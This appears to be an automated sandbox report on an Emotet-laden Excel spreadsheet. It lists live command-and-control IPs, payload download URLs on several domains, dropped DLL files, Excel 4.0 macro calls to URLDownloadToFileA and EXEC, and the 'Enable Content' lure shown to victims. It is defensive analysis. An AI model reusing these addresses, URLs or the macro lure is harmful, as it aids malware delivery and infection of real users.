Source: regsvr32.exe, 00000004.00000003.973255810.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1248897597.0000000000496000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/4.
Source: regsvr32.exe, 00000009.00000002.1248892503.00000000004FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/nL
Source: regsvr32.exe, 00000007.00000002.1248815645.00000000002E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/q
Source: regsvr32.exe, 00000009.00000002.1248892503.00000000004FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/vL
Source: regsvr32.exe, 00000009.00000002.1248892503.00000000004FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/
Source: regsvr32.exe, 00000004.00000003.973255810.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1248897597.0000000000496000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/D.
Source: regsvr32.exe, 00000004.00000003.973255810.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1248897597.0000000000496000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/H.
Source: regsvr32.exe, 00000009.00000002.1248892503.00000000004FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/bL
Source: regsvr32.exe, 00000007.00000002.1248815645.00000000002E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/e
Source: regsvr32.exe, 00000007.00000002.1248815645.00000000002E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/i
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Cmk1Nr[1].dll

Jump to behavior

Source: unknown

DNS traffic detected: queries for: microlent.com

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180006B24 InternetReadFile,

4_2_0000000180006B24

Source: global traffic	HTTP traffic detected: GET /admin/3/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: microlent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yarisma/cgi-bin/aIuI4Ukdtl730sP1F/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kuluckaci.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Achievements/r4psv/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: mcapublicschool.comConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 103.195.4.8:443 -> 192.168.2.22:49173 version: TLS 1.2

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 3.2.regsvr32.exe.3e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.510000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.919789550.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1248680431.0000000000160000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.930405356.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.919412326.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1249191933.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1248874495.0000000000510000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.914158918.00000000003E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.930201138.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1248687990.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1249180337.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing and click Enable Content. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
Source: Screenshot number: 4	Screenshot OCR: Enable Content. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
Source: Document image extraction number: 0	Screenshot OCR: Enable Editing and click Enable Content.
Source: Document image extraction number: 0	Screenshot OCR: Enable Content.
Source: Document image extraction number: 1	Screenshot OCR: Enable Editing and click Enable Content.
Source: Document image extraction number: 1	Screenshot OCR: Enable Content.

Found malicious Excel 4.0 Macro

Source: Scan 2022.20.05_0910.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA
Source: Scan 2022.20.05_0910.xls	Macro extractor: Sheet: PKEKPPGEKKPGE contains: URLDownloadToFileA

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Cmk1Nr[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll	Jump to dropped file

Found Excel 4.0 Macro with suspicious formulas

Source: Scan 2022.20.05_0910.xls	Initial sample: EXEC
Source: Scan 2022.20.05_0910.xls	Initial sample: EXEC

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Windows\system32\PlMfP\

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D212B0	3_2_000007FEF9D212B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25E01	3_2_000007FEF9D25E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D25CAD	3_2_000007FEF9D25CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D26850	3_2_000007FEF9D26850
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2443C	3_2_000007FEF9D2443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D253FB	3_2_000007FEF9D253FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D24A70	3_2_000007FEF9D24A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_001D0000	3_2_001D0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180005C74	3_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002ACE8	3_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020118	3_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000359C	3_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E99C	3_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019628	3_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025A4C	3_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002B7B2	3_2_000000018002B7B2
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180009408	3_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023C14	3_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006414	3_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002582C	3_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B834	3_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000403C	3_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021444	3_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012044	3_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016054	3_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001705C	3_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001870	3_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F878	3_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014484	3_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015494	3_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000BC98	3_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008C9C	3_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800078A4	3_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F0A8	3_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E4AC	3_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800048B0	3_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001ACB4	3_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800090B4	3_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800270C0	3_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800024C0	3_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800280C8	3_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800050D4	3_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800234D8	3_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800150F0	3_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012500	3_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024104	3_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A10C	3_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028D10	3_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A524	3_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002D28	3_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E130	3_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180029134	3_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008134	3_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022140	3_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006954	3_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F554	3_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002B564	3_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012168	3_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013568	3_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024570	3_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019178	3_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025180	3_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001980	3_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021588	3_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A988	3_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018190	3_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013994	3_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028998	3_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800061A0	3_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800135A6	3_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016DA8	3_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800059AC	3_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800135B4	3_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001C1B8	3_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800025B8	3_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800085BC	3_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800015C0	3_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800295C8	3_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800229CC	3_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E5D4	3_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002A5D8	3_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800261E0	3_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800079EC	3_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023624	3_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018628	3_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017E2C	3_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017638	3_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004E3C	3_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020E40	3_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015A64	3_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015264	3_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A26C	3_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007678	3_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001667C	3_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012680	3_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001E88	3_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000968C	3_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022290	3_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026A90	3_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000529C	3_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020AA0	3_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022AAC	3_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007EB4	3_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800162BC	3_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800252C0	3_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001AEC8	3_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001F6DC	3_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800026DC	3_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002ADC	3_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E2F4	3_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016AF4	3_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DEF4	3_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001DEFC	3_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006308	3_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001370C	3_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004B18	3_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015F24	3_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006B24	3_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F328	3_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021738	3_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002AF38	3_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028348	3_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DB4C	3_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014F50	3_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B350	3_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A758	3_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002975C	3_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024370	3_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008370	3_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015774	3_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012378	3_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026B98	3_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001CF9C	3_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001EBA0	3_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001B3A4	3_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D7AC	3_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800053B0	3_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015BB8	3_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800207BC	3_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000FFC0	3_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800173DC	3_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018BDC	3_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00130000	4_2_00130000
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000C819	4_2_000000018000C819
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019628	4_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025A4C	4_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001705C	4_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012864	4_2_0000000180012864
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180005C74	4_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0	4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800090B4	4_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800252C0	4_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800024C0	4_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024104	4_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006B24	4_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006F2C	4_2_0000000180006F2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000A758	4_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024570	4_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E99C	4_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001B3A4	4_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800079EC	4_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180009408	4_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023C14	4_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006414	4_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023624	4_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018628	4_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002582C	4_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017E2C	4_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B834	4_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017638	4_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000403C	4_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180004E3C	4_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020E40	4_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021444	4_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012044	4_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016054	4_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015A64	4_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015264	4_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000A26C	4_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001870	4_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F878	4_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007678	4_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001667C	4_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012680	4_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014484	4_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001E88	4_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000968C	4_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022290	4_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026A90	4_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015494	4_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000BC98	4_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000529C	4_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008C9C	4_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020AA0	4_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800078A4	4_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F0A8	4_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022AAC	4_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001E4AC	4_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800048B0	4_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001ACB4	4_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007EB4	4_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800162BC	4_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800270C0	4_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800280C8	4_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001AEC8	4_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800050D4	4_2_00000001800050D4
